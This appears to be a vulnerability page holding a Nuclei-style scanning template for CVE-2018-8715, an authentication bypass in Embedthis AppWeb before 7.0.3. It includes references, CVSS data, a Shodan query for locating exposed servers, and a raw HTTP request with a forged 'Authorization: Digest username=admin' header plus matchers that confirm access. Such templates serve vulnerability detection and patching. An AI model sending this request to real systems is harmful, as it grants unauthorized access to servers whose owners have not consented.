漏洞描述
The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
CVE-2018-8715: AppWeb - Authentication Bypass
PoC代码[已公开]
id: CVE-2018-8715
info:
name: AppWeb - Authentication Bypass
author: milo2012
severity: high
description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
remediation: |
Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
reference:
- https://github.com/embedthis/appweb/issues/610
- https://blogs.securiteam.com/index.php/archives/3676
- https://security.paloaltonetworks.com/CVE-2018-8715
- https://nvd.nist.gov/vuln/detail/CVE-2018-8715
- https://github.com/cyberharsh/appweb
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-8715
cwe-id: CWE-287
epss-score: 0.89255
epss-percentile: 0.99521
cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: embedthis
product: appweb
shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
tags: cve,cve2018,appweb,auth-bypass,embedthis
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Digest username=admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a class="logo" href="https://embedthis.com/"> </a>'
- type: status
status:
- 200
# digest: 4a0a00473045022100ee6a63153cbfa084c878eddf3275daaea71e8f0ad963177fbaa349ed5262222b022038815ace205806c0b9ba5b531736e6e796603b7576baa500ea48cd91cfa57c5d:922c64590222798bb761d5b6d8e72950